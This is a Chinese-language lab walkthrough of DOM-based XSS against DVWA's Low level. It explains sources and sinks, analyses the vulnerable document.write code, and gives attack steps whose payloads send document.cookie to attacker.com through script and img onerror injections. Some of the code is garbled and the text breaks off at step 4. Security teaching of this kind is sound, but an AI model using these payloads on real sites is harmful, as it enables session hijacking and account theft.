目录
漏洞简介
什么是DOM型XSS(DOM-based Cross-Site Scripting)?
DOM型XSS是一种特殊的XSS攻击,攻击代码的执行完全发生在客户端(浏览器),不经过服务器处理。漏洞存在于页面的JavaScript代码中,通过不安全的DOM操作导致恶意脚本执行。
与其他XSS的区别:
| 特性 |
反射型XSS |
存储型XSS |
DOM型XSS |
| 数据流向 |
客户端→服务器→客户端 |
客户端→服务器→数据库→客户端 |
客户端→客户端 |
| 服务器参与 |
✓ |
✓ |
✗ |
| 持久化 |
✗ |
✓ |
✗ |
| 检测难度 |
中 |
中 |
高 |
DOM型XSS的特点:
- 攻击载荷在URL的Fragment(#后面)中
- 不会发送到服务器
- JavaScript直接读取并处理
- 服务器日志无法记录
- WAF难以检测
攻击流程:
1 2 3 4 5
| 1. 用户访问:http://example.com/#<script>alert(1)</script> 2. 浏览器加载页面 3. JavaScript读取location.hash 4. 不安全的DOM操作(如innerHTML) 5. 恶意脚本执行
|
危害:
- 窃取Cookie和Session
- 键盘记录
- 页面劫持
- 钓鱼攻击
- 蠕虫传播
常见的危险Sources(输入源):
location.hash
location.search
location.href
document.URL
document.referrer
window.name
常见的危险Sinks(输出点):
innerHTML
outerHTML
document.write()
document.writeln()
eval()
setTimeout() / setInterval()
element.setAttribute()
Low 难度
攻击目标
直接使用document.write()输出用户输入,完全不过滤。
前端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <!DOCTYPE html> <html> <head> <title>XSS (DOM)</title> </head> <body>
<form name="XSS" method="GET"> <select name="default"> <option value="English">English</option> <option value="French">French</option> <option value="Spanish">Spanish</option> <option value="German">German</option> </select> <input type="submit" value="Select" /> </form>
<script>
if (document.location.href.indexOf("default=") >= 0) {
var langDefault = document.location.href.substring( document.location.href.indexOf("default=") + 8 );
</script> // 输出:<option>Welcome to <script>alert(1)</script></option> // 结果:alert(1)执行 document.write("<option>Welcome to " + langDefault + "</option>");
// ★★★ 另一个危险操作:选中对应的选项 ★★★ // document.forms[0].default.value - 访问表单的default字段 // 这里也没有验证langDefault,可能导致额外问题 document.forms[0].default.value = langDefault; } </script>
</body> </html>
|
漏洞分析
数据流向:
1 2 3 4 5 6 7 8 9
| URL(?default=...) ↓ document.location.href (JavaScript读取) ↓ substring()提取参数值 ↓ document.write()直接输出 ← 危险! ↓ 浏览器解析并执行
|
核心问题:
- 直接读取URL参数 - 不经过服务器验证
- 无任何编码 - 特殊字符不转义
- 使用document.write() - 直接写入HTML
- Source→Sink直接连接 - 输入源直达输出点
为什么服务器日志看不到?
1 2 3 4 5 6 7 8
| 攻击URL: http://dvwa.local/?default=<script>alert(1)</script>
发送到服务器: http://dvwa.local/?default=<script>alert(1)</script> Fragment部分(
或者使用Fragment攻击: http://dvwa.local/#default=<script>alert(1)</script> 发送到服务器: http://dvwa.local/ (只有域名)
|
攻击步骤
步骤1:基础测试
测试1:正常功能
1 2
| URL: ?default=English 结果: <option>Welcome to English</option>
|
测试2:简单XSS
1 2
| URL: ?default=<script>alert('XSS')</script> 结果: 弹出XSS对话框
|
步骤2:窃取Cookie
1 2 3 4 5
| ?default=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
?default=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
|
步骤3:使用图片标签
1 2 3 4 5
| ?default=<img src=x onerror=alert('XSS')>
?default=<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">
|
步骤4:无